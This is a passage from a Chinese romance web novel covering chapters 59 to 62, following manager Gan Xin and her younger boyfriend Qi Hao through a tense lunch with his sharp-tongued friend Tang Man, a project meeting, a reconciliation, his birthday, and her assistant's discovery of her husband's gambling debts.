“没事就好,歆总忙吗,中午能否赏脸一起吃个饭?” 甘歆回过去,“你不用开会啊?” “下午约了你老板,还有唐满,我早点过来。” 甘歆眼睛快速眨了眨,没多说什么,“好。” 本来她以为,还是去B2车库里在车里吃,甘歆早早就去等电梯了,没想到齐灏分享了个对面商场的餐厅,还特意标注了包房,说已经到了,等她忙完了来,不用太着急。 齐灏从来没有在晟宇周围约过甘歆吃饭,她有些搞不明白,但一想到在寰科附近吃饭的时候,他也从未躲过,甘歆就没将心里的疑问说出来。 这家餐厅很高级,门口连名称都没有,就只有一个侍应生在那站着。 她到达的时候,只报了包房名字,侍应生就十分礼貌地引进去了。 开了包房门,才知道齐灏为什么定在这里。 唐满也在。 他走到门口迎甘歆进去,将她带到自己和唐满中间的那个空位,替她拉开椅子,等她坐下后,倒了杯柠檬水给她,整套动作行云流水、一气呵成,就是没说话,脸色也不太好看。 “抱歉啊,”唐满先开的口,“约齐总吃饭约不上,他说没时间,说约的歆总,我想这不是巧了么,都认识,我就死皮赖脸跟着来了。” 甘歆愣了两秒,没把话掉在地上,扬起个笑容来,对着唐满说:“唐总哪里的话,人多吃饭开心。” “还是歆总大度,齐总刚刚跟我不乐意来着,让我别没事找事。” 甘歆喝了口柠檬水,笑了笑。这话她没法接。 “好了好了,这顿饭我请还不行么,小灏别生气啦,”唐满拿过了点单的平板,姿态随意地在前几页推荐菜里点了一通,放下的时候还对齐灏笑了笑,“备注了不要蒜的。” 甘歆的脑袋嗡了一声,但没表现出来,就是这柠檬水明明是温的,喝到嘴里觉得冰冰凉。 “哎呦,忘了,”唐满这才转过来问甘歆,“歆总有什么忌口吗?” “谢谢唐总,我没有。” “哦哦,我点了个刺身,生冷的没事吧?” “没关系。” “我还以为歆总太生太嫩的不吃呢,”唐满笑得意味深长,“没想到这么不挑啊。” “唐满,”齐灏看了她一眼,说不上瞪,只是比平时多了些厉色,“够了。” “怎么了啊,点菜而已,别多心了小灏。”唐满安抚似的回了齐灏个眼神。 这顿饭吃得莫名其妙,也实在不舒服,但既然是来吃饭的,甘歆自然不会亏待自己,这一道道菜珍稀又精致,没有浪费的道理,她挑自己喜欢的吃。 “歆总胃口不错,”唐满说,“尝尝这个刺身,说是今天上午刚到的蓝鳍金枪鱼,还有鲜甜的味儿。” 甘歆夹了一筷子,沾了一小点芥末酱油,放进嘴里咀嚼了两下,点了点头,咽下后才说:“的确不错,芥末也是现磨的吧。” “是啊,刚刚的备注,没想到竟然真有,这家融合菜真是不错。” 吃饱了,这阴阳怪气的动静甘歆也受够了,她盛了碗汤,喝了口润了润嗓子,才向唐满发问:“唐总喜欢吃刺身?” “还好,太嫩的不行,”唐满眯了眯眼睛,“会以为自己在杀人。” “噢,我还想说,唐总如果喜欢吃的话,得趁早,”甘歆露了个笑,“你现在还年轻,正是享受这种食物的时候,三十多岁后,就得挑着吃了。” 唐满的脸色变了,刚刚意有所指的从容消失不见,眼睛里渐渐有了怒意,又慢慢消了下去,“歆总叫是运气好,能挑到好的,别人一筷子下去可能都夹不到。” “不一定,”甘歆对待这些总,鲜少露出些规训年轻人的样子来,“换一盘菜可能就好了。” “你——” “唐满,”齐灏插了嘴进来,一张脸已经冷得不行了,“下午还要去晟宇,南城新航站楼的项目调研资料我还没收到。” “你跟沈确说啊,跟我说干什么。” 齐灏下了逐客令,“洲海要是没兴趣,你现在就可以回去了。” “饭还没吃完呢,人家歆总也还没吃好。” 唐满的话没落地,甘歆就接了上去,“我吃饱了,谢谢款待。” 唐满的脸色瞬间变得极为难看,又不想离开,问服务员要了打包盒,在桌上点了几个菜,又单独要了一碗米饭,自顾自地说:“我给阿泽带点吃的。” 等终于忙活完了,她还不起身,齐灏看都没看她,盯着面前的餐盘,不轻不重地说:“出去。” 唐满走了,屋子里就剩下了他们两个。 齐灏想去握甘歆的手,被她不着痕迹地躲开了。 即使躲开了,她还是自然地拿起了筷子再吃了几口,看向齐灏的表情也没什么不同,挂着一贯明媚的笑容,话说得也从容优雅,“这家餐厅挺好吃的,以前都没来过。” “……嗯,”齐灏抿了抿唇,不知道说什么,只好顺着她的话说下去,“预约制的。” “普通人来不了啊?”甘歆依旧是笑,“那是你早就订了的位置?” “不是,”他皱了皱眉,“唐满要来,我不知道往哪放,才约了这。” “她好像也很熟,以前你们经常来吗?”甘歆问得蜻蜓点水,随意自然。 “……没有,偶尔吃饭来。” “果然还得是你们啊,”甘歆笑了笑,又吃了口牛油果色拉,“不然都不知道什么时候才能来见见世面。” 齐灏刚刚就一直盯着甘歆看,她看起来太正常了,拿不准她心里所想,但最后四个字,字字都是敲打。无论是在生意场上,还是社交场合始终惜字如金、游刃有余的寰科太子爷,在这一瞬间竟然有些词穷。 他舔了舔嘴唇,浑身的气场都泄了下来,“抱歉。” “嗯?”甘歆故作惊讶,“怎么了?” 他直接挪了椅子挨着甘歆坐,微微拧着眉毛解释道:“唐满跟我 是挺熟的,小时候就认识了,你知道的。” 她点了点头,又夹了个金枪鱼刺身,没沾任何东西,直接往嘴里送,“好像和街边普通的日料店也差不多,你吃得出鲜甜吗?” 齐灏的心头一紧,不管不顾地握上了甘歆的手臂,“姐姐。” 甘歆放下筷子,身体往椅背上一靠,侧了些身,这才正色看向齐灏,等他继续往下说。 “我和唐满,半点、一丁点暧昧关系都没有,硬说的话,只能说是兄弟,她算是我哥?” 甘歆抬了抬眉毛,“所以她在护犊子吗?” “没有、不是,她就这样,什么话难听说什么,是个疯的,”齐灏又往甘歆跟前凑了凑,“她硬要来,也没给我单独联系你的机会。” “你跟她说我们的关系了?” 齐灏几乎要把脑袋搁在甘歆的手臂上了,看过去的眼神还有些慌张,“说了。” 话及至此,甘歆心里松快了些,但还有件事她很介意,她整个人往旁边挪了挪,没让齐灏碰到,用纸巾擦了擦嘴,站了起来,离开包房的时候留了一句话给他。 “原来你不吃蒜啊。” 齐灏的心感觉被踢了一脚。 第60章 第60章小狗赶不走的。 南城新航站楼建设项目体量巨大,由寰科总包,经过市里的评估,将其中的分项给到了洲海,还有些零碎的项目,经由寰科的举荐和融资保障,决定让晟宇来承包。 理论上来说,应该是洲海和晟宇的总经理去寰科开会,但太子爷心思难猜,坚持要来晟宇开会,王潇给甘歆打会议通知电话的时候还嘟囔了一句。 “也不知道晟宇是什么风水宝地,就爱来这开会,”王潇摇了摇头,又提醒了甘歆一句,“歆总,二十分钟后哈,可以早点来。” 甘歆这次没等,直接就上了楼,上次全员就等她的记忆犹新,可不想再这样了。 推开大会议室的门,甘歆想退出去的心都有。 坏了,矫枉过正,来太早了。 里面只有三个公司的老板坐着,连助理们都不在,齐灏坐在主位,接下来是唐满,再是沈确,她默默往外退了点,试图把门关上,沈确叫住了她。 “歆总,来了啊,进来坐。” 只好硬着头皮进去了,她挑了个沈确对面的位置,将笔记本放下,整理了一下衣摆,露了个惯有的表情,也不好意思地笑笑,“来早了,没打扰吧?” 这个会议室的人都知道她和齐灏的关系,但这会儿只有齐灏看她,她理都不理齐灏,连目光都不往那边偏,沈确咂摸出了点味儿,转脸对唐满说:“唐总,我这收到了挺好的普洱茶,还有点时间,去我办公室喝点吗?” 唐满狐疑地看了沈确一眼,像个高傲的白天鹅,“Justcoffee,thanks.” 沈确点了点头,又皱着眉看了看甘歆,仿佛在问她怎么了,甘歆只微微摇了摇头。 “最近天气不错啊,风和日丽的。”沈确又说了句没营养的。 没人搭理他,连甘歆也低头看手机。 没几分钟后,周泽敲门进来了,端了两杯茶来,甘歆闻味道就知道是洋甘菊普洱,这个茶在她家出现的频率非常高,她之前发现齐灏送她的那一袋,和自己家里的是同一个品牌。 第一杯先给的甘歆,第二杯才放到齐灏面前。 “阿泽,”唐满开了口,“没有我的吗?” “……有、有的,”周泽先看了齐灏一眼,才去看唐满,“挂耳咖啡可以吗?” “可以啊,只有你还记得我不喝茶,”唐满眯着眼睛笑了笑,“谢谢阿泽。” 周泽的脸瞬间就红了,退出去的时候还有点顺拐,再次进来的时候将马克杯里已经不见挂耳,只有阵阵的咖啡香气。 沈确抬了抬眉毛,自嘲地笑笑,“你们都挺熟啊,敢情到最后在我自己的会议室里,我就自己一个人没喝的。” “让任婷给你送啊,”唐满撑着头,对着沈确笑,“怎么不见她?” 齐灏似乎见多了唐满这样,没什么反应,也不关心,甘歆中午刚领教过,现在替沈确捏了把汗,没想到这个老油子还怪有办法的。 “她忙着,都没空理我。” “哦?终于不是她追着你跑了?” “你还真是……”沈确实话实说,“一点儿都不见外啊。” “项目开始后大家都是熟人了,这点事瞒不过谁,”她冲着甘歆看看,“是不是啊歆总。” 甘歆喝了口茶,没搭理,齐灏反而开了口:“你要是闲得慌,让周泽带你去出去转转。” 临着开会时间,会议室里的人越来越多,寰科和洲海的项目经理也都来了,会议室里坐得满满当当,甘歆一整个会都没看齐灏,认真地听着项目资料,连手机都没看。 的确是个巨量项目,别说晟宇,就是寰科,都不一定能单独做下来。 在交代项目背景的时候,不知是项目经理有意拍马屁,还是只是单纯交代,这个项目竟然是齐灏去相关部门提案的,策划新颖、实用便利、动线清晰,在一众国字头的单位中脱颖而出。 甘歆心里感慨齐灏的能力,但也因着心里的那点气,没表现出什么来。 她只在工作分配的时候问了几个问题,对方的项目经理完全能解答,三方都觉得没什么问题后,继续呈报了后续的计划,就等三位老板点头。 沈确肯定没意见,唐满问了几个刁钻的问题,连自己的项目经理也没放过,在弄清楚了流程之后,才点头同意,最后所有人的目光都齐齐看向齐灏。 他没说好,也没说不好,只淡淡地说了句,“先这样吧。” 不过这也是他的风格,在场的多少都跟他有过接触,只当先过关。 会议结束,沈确说还有融资的事想和齐灏聊聊,顺便把甘歆也留下了,唐满不情不愿地走了,等到真的只剩三个人的时候,沈确又说想起来有事,自己也离开了。 甘歆拽了他一下,老狐狸转过头来对她笑了笑,“真有事。” 偌大的会议室就剩下了齐灏和甘歆,还有两杯放在面前凉掉的茶。 甘歆见齐灏也不说话,就起身要走,被他快速地拉住了胳膊。 “别走。” “齐总还有什么事吗?” “齐总没事,阿灏有事,”他的声音里竟然有些可怜,“别走。” “你不是叫小灏么,”甘歆偏过头去,竟越想越生气,“哪来的阿灏。” 齐灏站到甘歆面前,握住了她的手,“你也看到了,唐满真的无差别攻击。” “她是有什么毛病在身上吗?”甘歆压不住了,问齐灏。 “……不好说,不知情的人都不会跟她提,知情的人又知道她的经历,性格差没人跟她计较。” 甘歆想挣开手,齐灏握紧了。 “我……真不叫小灏,”齐灏声儿都有些急了,“想想都知道不可能啊,那我还能切大号吗?” 噗—— 甘歆一下笑了出来,又赶紧收敛表情,想假装什么都没发生过,但已经晚了,齐灏已经握上了她的两只手,腰都弯了些下来,和她脸对着脸。 他小声说:“姐姐,你别生气了,你说我要真和她有点什么,你生气还有点意义,我这完全不可能啊,我对你身心都是第——” “一次”被甘歆捂进了他的嘴里,瞪他,“有恃无恐是吧?” 齐灏微微皱眉,“你刚刚看都不看我一眼。” “你有什么好看的。” “我不好看吗?”齐灏凑近了点,“应该还挺帅的吧,身材也还行啊,果然得到了就不香了吗?” “……你哪里学的绿茶言论。”甘歆拗不过他,把他推开了一点。 “晚上可以去你那里吗?” 甘歆拒绝,“不行,今天闭店。” “那我只能硬闯了。” “你别乱来啊,小心我今晚不回家。” “不回家?”齐灏表情都变了,盯着甘歆,“你要去哪?” “你管我,”甘歆打了个哈欠,“这么 多年,总有几个私藏的club啊,小pub啊,我还不能去浪一浪了,万一有人愿意叫我小歆歆呢?” “姐姐的报复欲真强啊。”齐灏捏她胳膊的手都用了点力了。 甘歆不想这次的事情就这么过去了,有些话还是要在前面说清楚才好,她叹了口气,这才向齐灏说出自己的结症所在,“齐灏,你记得你答应过我什么吗?” 见她这么认真,齐灏也严肃了起来,放下了双手。 “我说过,你要用最真实的样子来对待我,”甘歆顿了顿,“你不喜欢、不适应的东西,要直接告诉我,不要为了迎合我,而改变自己,记得吗?” 齐灏点了点头,“记得。” 甘歆去拉会议室的门,没打开,“以后我不会买蒜香面包了。” 眼见着她就要拉门,齐灏心里一惊,快步走过去把门又关上,解释道:“我……我小时候是不吃蒜的,但后来觉得还不错,人长大了会变的,不是么? “唐满只在我家住了一年,她看到的也只是那一年的我,你真的要为了她不经意或者刻意的一句话,来跟我说这些么?” 甘歆愣了愣,她没想到齐灏会上升到这个高度,她突然有些招架不来。 “这只是一件小事,我的传言还有非常、非常多,你真的要因为别人的声音,而选择不相信我吗?” 她刚想说点什么,齐灏倒有些烦躁了起来,他舔了舔自己的嘴唇,“我……对不起,我激进了,我先出去了。” 最后只有甘歆一个人留在了会议室,她有些懵。 原来齐灏的咄咄逼人,并不只是会出现在工作里,他刚刚说的那串话,是甘歆未曾想过的高度,她没出会议室,又坐了回去。 看着面前那杯已经凉掉的洋甘菊普洱茶,她鬼使神差地端起来喝了一口。 酒暖身,茶静心。 直到她喝了大半杯茶,心里所想才慢慢浮现了出来。 沈确说齐灏很复杂,张然说如果有什么不对劲赶紧撤,今天唐满只是说了句齐灏不吃蒜,她都照单全收了,一点都没怀疑过他人嘴里的齐灏是否真实。 仔细想来,自己不也是这样么,到底要考验多少次,才会相信齐灏是真的喜欢她,总觉得他年轻,总觉得他是玩票,总觉得他是过客…… 还冠冕堂皇地和他说要用最真实的自己来面对她,齐灏的真实,自己真的信了吗? 他说过多次的“普通人”,我信了吗? 刚刚开门出去时齐灏的表情……应该是失望吧。 明明互相喜欢的是我们,我却相信别人说的话。 甘歆将最后一点茶喝完,才离开会议室。 因为南城新航站楼项目的关系,周一下午的中层会议挪到了明天,甘歆索性聚集里部门里的人开部门会,将手上的项目都过了一遍,每个执行步骤都问清楚,下会后已经五点多了。 她去了B2车库的0328车位,那里是空着的,什么都没有。 打开手机反复看了看,没有电话也没有留言。 坐上了车,甘歆深深叹了口气,小狗要怎么哄呢? 天气已经变得炎热了,她不得不打开车内空调才舒适一些,心里的烦躁却无法压下,她没有立刻回家,而是去了进口超市,直奔烘焙区拿了包蒜香面包,又拿了个金枪鱼罐头,别的什么都没拿,结账回家。 这个城市的晚高峰太堵了,在高架上前面的车尾灯都亮着,足足开了快一个小时才到。 夏天真的来了,到现在天还没暗下来。 进电梯时心里也空落落的,她愈发自责。 直到到了家门口后,她再次被人从后面抱住,熟悉的木香袭来,眼睛也被遮住了。 身后的人问:“猜猜我是谁?” 手上的力道松了,袋子掉在了地上,她这次没再矜持,转过身抱住了他,“是阿灏。” 齐灏抱她抱得很紧,道歉的语气里都是温柔,“对不起,我下午有点上情绪了,我不该那么说话的。” 甘歆摇了摇头,“……这样就很好。” “我等了好久,以为你真的去什么club了。” “……太吵了,不去。” 齐灏笑了笑,“我还以为是因为你惦念小狗才不去的。” “我买了蒜香面包。”她埋在齐灏的胸口,说话都瓮声瓮气的。 他的手落在了她的发丝上,轻轻抚弄,“好巧,我也买了。” 甘歆沉默了几秒,才说:“我以为小狗今天不会来了。” 齐灏在她的额角落下了一个吻,“小狗赶不走的。” 60-70 第61章 第61章下回给你弄个儿童手表。…… “那里别……”甘歆伸手欲推齐灏的脑袋,却在下一秒泄了力,腰受不住地向上推了推,话都说得有颤音,“你怎么真……嘶,真的跟狗似的?” 齐灏的声音朦胧,好像嘴唇被什么堵住了似的,“姐姐不喜欢么,我觉得应该是喜欢的。” 历经了一个春的潮湿,被热气蒸腾起来,空气都觉得黏腻,水分子几乎落到了房间的各个角落,在光滑的表面上凝结成水珠滑下,也将绒面部分洇湿,床单上的水蜜桃图案已经被甘歆捏皱了,似乎能闻到并不存在的果香来。 在日渐的相处之下,他们的羞意被逐渐抛弃,享受每一次深拥和热吻。齐灏这个人,长得太有迷惑性,冷白皮、脸也冷,可他的掌心那么烫,掠过的每一寸都跟着了火一样,尤其紧贴着自己的胯,跟烧起来了似的,几乎要将灵魂顶出去。 他会刻意将时间拉长,却舍不得让甘歆求饶,可他的独占欲也会作祟,会在到达狂乱顶点的时候吻住她的唇,天籁之音只有含在自己嘴里,才会觉得满足。 此刻齐灏将甘歆放躺在自己身上,揽在怀里,一下下吻她的发顶,顺着她的后背,“中午怼唐满那两下,还挺精彩的。” 甘歆喘匀了气,又在他胸口咬了一下,“你们这些子弟就是欠收拾。” “气顺了么?” “不顺你还能替我教训她?”甘歆抬头,栗红色的发丝垂落下来,仰起来的脖颈修长白皙,盯着靠躺在床头的男人看。 他抓起了甘歆的手,放到嘴边吻了吻,“只要你想。” “算了吧,”她皱了皱鼻子,难得地可爱,“省得她再阴阳我。” 齐灏搂了搂她的腰,“以后可以先相信我吗?” 甘歆一愣,看来他的心理阴影并没有完全消解,她自认理亏,往上凑了凑,亲了一口男人的下巴,“我错啦,原谅我好吗?” 他似乎从未想过甘歆会道歉,又将她拥了上来,捉她的唇深吻,耳鬓厮磨,“别这么说,是我的问题。” 次日早晨,两人一起出门前,齐灏又向甘歆讨了个吻,就要去开门的时候,被甘歆拉住了胳膊,她的眼睛往齐灏手里的运动束口袋看了看,咬着嘴唇有些犹豫,最终还是说了出来。 “……你,要不要,留点东西在我这里?” 齐灏皱了皱眉,歪了个脑袋。 “没听懂算了。”甘歆越过他,要去开门。 结果腰被搂住了,往后一拉,直接进了男人的怀里,“可以么?在你家里留下我的东西。” “嗯。”甘歆同意了。 每次齐灏来,都要带这个运动束口袋,走的时候也是,有的时候男人穿着西装,有的时候穿着运动服,那个束口袋太扎眼了,洗漱用品不说,还有洗澡用的橡胶拖鞋,实在是麻烦。 她本来以为齐灏会就地将束口袋放下,没想到今天还是拿着走了。 甘歆一直去对面学校那车,齐灏就在小区门口和她分开,往往等到她的车开出来后,才会走两条街,周泽会在那里等他。 今天也是巧了,在小区门口遇见了梁越,上次甘歆见过的那位女士也在身旁,这次是她主动打的招呼。 “梁老师,上班啊。” “阿歆?”梁越闻声看过来,牵着那位女士的手没松,“是是,上班,她……她也住在这个小区。” 甘歆眼睛睁了睁,心里大概明白了什么意思,笑得明媚,“好巧啊。” “这位也很眼熟,”梁越看了看甘歆旁边的人,“是……?” “噢,”甘歆自然地挽过了齐灏的手,“是我男朋友。” “哦哦哦!恭喜恭喜!”梁越了然,也笑开了,不见往日的腼腆,“之前就一直遇见,你好你好。” 齐灏也笑着点了点头,离开的时候还特意勾过了甘歆的腰。 她往上瞟齐灏的表情,连下颚线都写着得意,戳了戳他 的胳膊,“差不多了啊,松手,上班要迟到了。” “知难而退是识时务,你这个高中同学是聪明人。” 甘歆一下没忍住,笑了出来,“不跟你争就是聪明人?那天底下聪明人可太多了。” 齐灏低头下来,凑到她的耳边,“多聪明都没机会了,你是我的。” 甘歆笑着推开了他,“少腻歪,上班去了,都怪你,沈确新航站楼的项目也让我参与,忙死我得了。” 齐灏只笑不说话,轻轻拍了拍她的后腰,用口型对她说:“今晚见。” 几分钟后,烈红的野马一骑绝尘,驶离了门口这条窄路。 她总比早高峰晚一点出门,但今天意外地堵,堪堪比平时晚了四十分钟才到公司,进了办公区后没见张然的身影,问了同事也说不知道,没见着人。 甘歆给她打了个电话过去,无人接听,隔了几分钟再打,依旧没人接。 想着可能是儿子有什么事,她也没再追问。 忙碌的工作接踵而来,因为张然不在的关系,甘歆直接喊项目组开会,大家都很紧张,会议纪要也比平时做得更认真,但到了下午,看着邮箱里躺着不同项目组发来的会议纪要时,她还是感慨了一句,没张然整理真不行,看得她头疼。 她又给张然打了个电话过去,想想问问情况,铃声几乎响足了一分钟,对面才接起来。 甘歆没等张然说话,直接开了口:“然然,没事吧,一天没见你,是哪里不舒服吗?” “……阿歆。”张然的声音几乎全哑了,一听就知道才哭过,要不就正在哭,她的声音在甘歆的听筒里碎裂。 “怎么了?”甘歆立刻站了起来,“你在哪里?” “我……”张然吸了吸鼻子,“我刚刚把儿子送到了我妈家,现在正回家的路上,你、不是,齐总说得没错,徐君真的在赌博。” 甘歆一惊,立刻收拾包往外走,“他人呢?” “在家里,我跟他说好好谈谈,”张然声音一下子就变了,“阿歆,怎么办啊?” “你别着急,你现在在哪儿,我来找你,现在就出来了,分享个位置给我啊。” “嗯、嗯,我分享给你,我……我就在这个公交站等你。” 甘歆下了地库,正好张然的位置共享发过来,她没犹豫,一脚油门开了出去。 半小时后,甘歆到达了车站,副驾车窗摇了下来,看见张然坐在车站的候车凳的一边,整个人团成了一团,目光呆滞地看着前头,甘歆叫了她一声,目光里才有了焦点。 “然然,上车。” 张然站起来的时候还腿软了一下,拉开车门坐上了副驾,甘歆没有立刻开车,而是挂了P档,拉过了张然的手握着。 “阿歆,”张然垂泪欲滴,说话都哽咽,“是我太傻了,我竟然相信,那是个游戏,他欠了好多钱,提现了几张信用卡,还都还不上。” “怎么发现的?” “……银行的人给我打了电话催账,说我是他的紧急联系人,”张然抬眸看甘歆,“一百五十万,我拿什么还啊?!” “那你……”甘歆也不知道说什么,“现在打算怎么办?” “我不知道,我不知道,”张然的泪水终于滑落,整颗掉了下来,“我们高中就开始谈恋爱,他一直本本分分老老实实的,怎么去了洲海,整个人都变了。” “洲海那儿的确是个狼窝……”甘歆叹了口气,“但这也不是他赌博的理由。” “阿歆,我可以没有老公,但孩子不能没有爸爸,”张然抓住了甘歆的胳膊,“你说我现在应该怎么办?” “我要不陪你一起回去,把债问问清楚,再看看他的态度,我们再想怎么办,行吗?” “好、好……谢谢、谢谢你,阿歆。” 这一路甘歆都纠结,想给齐灏打个电话或者发个消息说今天可能可能晚点回,让他先别去了,可这一路的绿灯实在太给力,不一会儿就到了张然家楼下。 上楼前张然把了下甘歆的手,神色犹豫,“阿歆,要不我还是自己去吧。” 甘歆拍了拍她的手,“都到这里了,一起上去吧。” 张然没再劝,两个人一起上了楼。 打开门后,看见徐君坐在沙发上,穿了个大白背心裤衩,见到甘歆还愣了一下,随即嘴抽了抽,“歆……歆总。” 张然见到徐君,情绪一下没控制住,挥起手就要往他身上打,甘歆立马伸手拦,“然然、然然!别冲动!” 推搡之间,甘歆的包开了,连带着手机和里头的东西全都散落了下来,砸在地板上乒铃乓啷的,徐君突然也暴起,握住了张然的手,就要把她往沙发上带,甘歆大声喊了一句:“徐君!!!你别乱来!!!” 他这才松了手,夫妻俩都跌坐在沙发上,甘歆去厨房给他们俩各倒了一杯水,“你俩冷静冷静,现在解决问题最重要。” 张然偏过了头去,眼泪唰地一下掉了出来,声音颤抖,“你到底欠了多少钱。” 徐君本不想回答,看看甘歆瞪着他的眼睛,才如放弃似的说:“一百八十万。” “徐君!!”张然操起桌上的纸巾盒往他身上砸,“你没有心!!你不是人!!咱们家好不容易现在稍微好过点,你为什么要做这种事!!?” “他们都有!!凭什么我不能有?!凭什么我被人看不起?!”徐君也对着张然吼,又指了指甘歆,“她一年至少也有一百吧,交的男朋友更不用提,你不嫉妒吗?!!你天天晚上跟我说如果我是有钱人就好了,你自己忘了吗?!!” “我——”张然一时无语,看向甘歆时更是尴尬,整个人一口气几乎提到了嗓子眼,胸口几乎要气得鼓起来了,连话都说不出,最后整个人坐在地上崩溃大哭,“我羡慕我嫉妒,但我做伤害家人的事了吗,我借钱了吗,我乱花钱了吗?!一百八十万,我们的房子才能抵多少钱?!儿子不要了吗?!日子不过了吗!!” 甘歆见状要上去扶,张然先抓住了她的手,连带着眼泪鼻涕一起蹭到了她的手臂,“阿歆、阿歆……你先走吧,你先走吧,求你了……” “好、好好,我先走,你和徐君好好聊,”甘歆蹲了下来,揉了揉张然的头发,“聊完了给我打电话,好吗?” 张然瘪着嘴点了点头,甘歆凑到张然耳朵边,轻轻交代,“有什么不对劲就报警,钱的事晚点我们一起商量怎么解决。” 张然仰望着甘歆,眼神里有感激也有悔恨,用力点了点头。 她草草收拾了东西离开了张然家,在楼下坐了会儿没听见什么声响才离开,一路上思绪纷飞,心里也跟着堵得慌,油门加大,想赶快回去。 停完了车去摸包,才发现没有手机,中控和脚垫看了都没有,心里想着,坏了,应该是落张然家了,现在也不好问,明天再说吧。 等她23楼出了电梯,才看见家门口有个人站着,手里拎着个小小的行李箱,皱着眉一脸委屈,甘歆这才心里放松了些下来。 “等半天了都,去哪了?” “哎,不提了,”甘歆赶紧开门,等齐灏也进来了才转身挂在他肩膀上,“刚刚去张然家了,徐君果然在赌博,夫妻俩打仗呢正。” 腰被人环上了,还用力往上提了提,“怎么不跟我说一声。” “没得空呗,手机还落人家里了。” “这么不小心,”齐灏在她耳边轻轻笑了笑,“下回给你弄个儿童手表。” “开盖能视频的那种吗?” “嗯,那肯定。” 第62章 第62章出事了。 “你说……”甘歆这会儿背靠着沙发扶手,腿搁在齐灏的大腿上,“我借张然点钱的话,这事对不对?” 齐灏往甘歆的嘴里塞了个盐津无花果条,“没什么对不对的,关键在你想不想,也在你求不求回报。” “我肯定不求,我就想让她好过点,”甘歆嚼了嚼,“毕竟是我老同学,做我助理这几年,细致认真,几乎没出过什么大错,能帮还是帮她一把。” “嗯,”齐灏捏了捏她的腿, “打算借她多少?” “我也……没多少钱,”甘歆捏了捏鼻梁,“挣得再多,也扛不住花啊,临时能灵活取出来的也就三五十万。” “挺多的了,第一期至少能挺过去,”齐灏皱了皱眉,“他们那个房子,四五百万没问题,不抵押吗?” “不知道,”甘歆摇了摇头,“我出来的时候正吵得激烈呢,手机我都不敢去拿。” “清官难断家务事啊,歆总,”齐灏挠了挠甘歆的脚心,她瑟缩了一下,但齐灏没放手,握住了她的脚腕,“他们会理出头绪来的。” 甘歆觉得脚腕一凉,抬头看去,一条细细闪闪的链子出现在了脚脖子上面,疑惑地看向齐灏,“这什么?” “礼物啊。” “为什么要送我礼物?” 齐灏仿佛等她这句话等了很久,才笑眯眯地对她说:“因为今天是我生日。” 甘歆立刻把脚收了回来,整个人都坐直了,“今天你生日?!” 齐灏点了点头,“嗯,所以我决定把我最喜欢的东西套上。” 甘歆哑口无言,想立刻去找手机闪送个蛋糕,才发现手机不在身边,她又点懊恼,自己竟然从来没在意过齐灏的生日是哪天,到了生日当天还要他给自己送礼物。 她没管齐灏,从沙发上起来,打开了玄关柜的抽屉,拿了点现金换上了鞋,飞快出门,还不忘关照,“我一会儿就回来。” 还好现在不算晚,刚刚的晚饭吃得也不算太饱,赶到生鲜超市的时候,发现冰柜里还有最后一小盒栗子蛋糕,来回看了看好几个货架都没看到蜡烛,最后店员拿了个好早以前的数字蜡烛给她,就是……数字是3,但总比没强,甘歆谢过了人家后带走了。 电梯门一开,她转了个弯,就看到自家的门开了,齐灏从里头探了个脑袋出来,露着笑脸。 甘歆将小蛋糕放到餐桌上的时候,先对齐灏说了声抱歉,又解释自己没注意过,齐灏一点不在意,也说是因为自己没说过。 但真她把那个3插到蛋糕上时,齐灏笑得都快抽了。 “笑什么,”甘歆剜了他一眼,“就只有这根了,凑合凑合得了。” 甘歆唱了生日快乐歌,就是……齐灏许愿的时候,没有闭眼睛,全程都直盯盯地看着甘歆,她的脸被摇曳的火苗照得忽明忽暗,虽然他一言不发,可天地好像都知道他的愿望。 甘歆从冰箱里拿了个生菜,递给齐灏,“祝齐总发财,”又踮脚吻了吻他的脸颊,“愿阿灏平安。” 他深吻了他的愿望。 齐灏的行李箱里带的东西不多,几件T恤、长的短的休闲裤两条,耐人寻味的是带了两套睡衣,还正式带了双橡胶拖鞋来,洗护用品他买了新的,还是情侣款,一只曼妙的波斯猫,和一只大狗的纹样,煞有介事地就放在甘歆的洗漱台上。 这天晚上换甘歆将齐灏抱在怀里,细白的手抚进了他的发间,熟悉的洗发水香味从胸口传来,她也忍不住吻了吻他的发。 她原本以为,齐灏的头发很软,却意外地硬,她捋了两下,下意识地说道:“我奶奶说,头发硬的人脾气不好。” 齐灏抬头,微微笑了一下,“我脾气好吗?” “好得让我意外,”甘歆嘟了嘟嘴,“我以为你多少有点儿霸总的……那种臭毛病。” “比如……”齐灏假装手里捏了张东西,“我的卡,随便刷?” 甘歆“噗呲”一声笑了出来,“这可不是什么坏毛病。” “哎呦,我们歆总也不能免俗啊,”齐灏捏了捏甘歆腰间的软肉,“我以为你对金钱免疫呢。” “怎么可能,对金钱免疫的话怎么配站在齐总边上啊。” 齐灏抬头,望向甘歆的眼神深邃如海,四目相对,齐灏欺身而上,又深深吻住甘歆,“我永远会向你走来。” 他们今晚没有做.爱。 只是拥在一起睡觉,心却比之前更近了,脚腕上那根细细的链子上有一颗奇小的钻,切割却很精致,就缀在她的左脚外侧的踝骨上,只需点点光亮,就会亮出璀璨的光。 齐灏懂事得让甘歆觉得他不像一个才22岁的男生,即使拿着行李箱来她家,却没有提出住下的要求,而是郑重地和她说,他来之前会和她打招呼,不会乍然到访。 成熟的姐姐却不这么想,她的男孩素日里够冷淡的了,她希望她再大胆一些、张扬一些。 出门前,甘歆拉住了她的男孩,“我没有给你准备生日礼物,不知道这个你会不会喜欢。” 她将家里的备用钥匙放进了齐灏的掌心里。 齐灏的眼睛都瞪大了,愣了好几秒,才紧紧握着这把钥匙,看向甘歆的眼神很温柔,“谢谢,这是最棒的礼物。” 两人又在玄关处接了个短暂的吻,吻得齐灏几乎想将她托起来了,她才推拒开,“别闹,上班了。” 齐灏抿了抿嘴,甘歆就又加了一句,“晚上早点回来。” 他咬着嘴唇微笑,他的姐姐怎么这么会勾人。 齐灏原本想将自己的另一个手机给甘歆,她却说没事,公司里还有一个,总得把手机要要回来的,他就没再介意。 刚打开门,齐灏私人手机的电话就响了。 甘歆也觉得奇怪,大早上股票还没开市,怎么他的这个手机会响,齐灏也狐疑,看了眼来点,是周泽。 他接了起来。 “老板,出事了。”周泽说得匆促,“您看新闻。” 齐灏站定,直接挂了电话,打开手机扫了眼周泽发来的新闻,眉头紧锁,直接又打了电话回去。 “叫上法务部,让他们撤掉。” “已经在处理了,但来不及了,老板,”周泽那边动静混乱,不断有电话声传来,“大媒体已经在联系撤稿,但社媒已经传开了。” “都记录下来,一个账号都别漏。” “好的老板,您……今天进公司吗?” “进,半小时后到,叫法务部的人去我办公室里等着。” “好。” 